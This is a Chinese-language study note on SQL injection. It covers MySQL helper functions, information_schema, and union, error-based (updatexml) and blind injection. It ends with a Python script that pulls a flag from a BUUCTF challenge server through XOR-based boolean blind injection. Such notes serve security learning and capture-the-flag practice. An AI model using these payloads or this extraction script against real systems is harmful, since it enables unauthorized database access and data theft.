数据库
结构
常用函数和语句
- database():当前数据库名
- user():当前用户名
- version():当前数据库版本
- 注释符:#,--+(' '),
- information.schema:
- 在MySql5.0版本之后,会默认在数据库中存放一个“information_schema”的数据库,
- 在此库中需要记住三个表名,分别是SCHEMATA、TABLES、COLUMNS
- SCHEMATA表存储该用户创建的所有数据库的库名,对应的字段名为SCHEMATA_NAME
- TABLES表存储该用户创建的所有数据库的库名和表名,对应记录数据库库名和表名的字段为TABLE_SCHEMA和TABLE_NAME
- COLUMNS表存储该用户创建的所有数据库的库名和表名和字段名,对应记录数据库库名、表名、字段名的字段为TABLE_SCHEMA和TABLE_NAME和COLUMN_NAME
原理
刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。 这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。
注入类型
类型(数据类型):
整数型
字符型
方法:
联合注入
- group_concat:将查询的结果集放到一行中,可以传递分隔符,原因:有时候数据库限制回显一行内容
- 替代:使用limit 0,1第一行记录
- order by:按照后面的字段(列名)进行排序,所以可以达到查询字段个数,即几列
- group by:按照后面的字段(列名)内容按照一定条件进行分组,效果同上
- union select:它可以将多个 SELECT 语句的结果集合并成一个结果集。UNION SELECT 操作符将返回所有的数据行,并且在返回结果集时去除了重复行。
报错注入
-
updatexml(xml_doument,XPath_string,new_value) 第一个参数:XML的内容 第二个参数:是需要update的位置XPATH路径 第三个参数:是更新后的内容 所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式 函数利用和语法明白了,下面注入的payload就清楚明白 0x7e用来校验,version()是我们想要的数据,concat用来连接它们两个 ,0x7e作用是校验,其他符号也可以
-
制造 SQL 语法错误
-
目标站点能直接返回错误信息的情况,例如网页表单出现了语法错误,target 站点返回的数据中包含了敏感信息等。
盲注(通吃)
substr:
- substr(str from pos for len)
- len:取字符的长度,即子字符串的长度
- str表示被截取的字段
- pos表示截取的位置(最好初始位置1)
mid:
判断条件:基于布尔型SQL盲注的判断条件主要依靠判断SQL语句的执行结果是否满足某些条件
- 场景:盲注通常被用于目标站点没有直接回显返回结果的情况下,例如网页表单中没有明显的反馈消息,或者是 target 站点返回的数据被过滤掉了,而攻击者仍希望得到数据的情况
- 脚本
- 方式:异或(^),逻辑(and (&&),or(||),xor)
def a(): url = "http://91f8c7f4-eae1-4f52-89fd-8c7eabddf8c1.node4.buuoj.cn:81/index.php" flag = "Hello, glzjin wants a girlfriend." final = "" for i in range(0, 100): low = 33 height = 130 while (low < height): mid = int((low + height) / 2) data = {"id": "0^(if((ascii(substr((select(flag)from(flag)),%d,1))>%d),1,0))" % (i, mid)} re = requests.post(url=url, data=data).text time.sleep(0.3) # 延迟0.3秒即可解决请求过快问题 if flag in re: low = mid + 1 else: height = mid final += chr(low) print("\n", final) if __name__ == '__main__': a()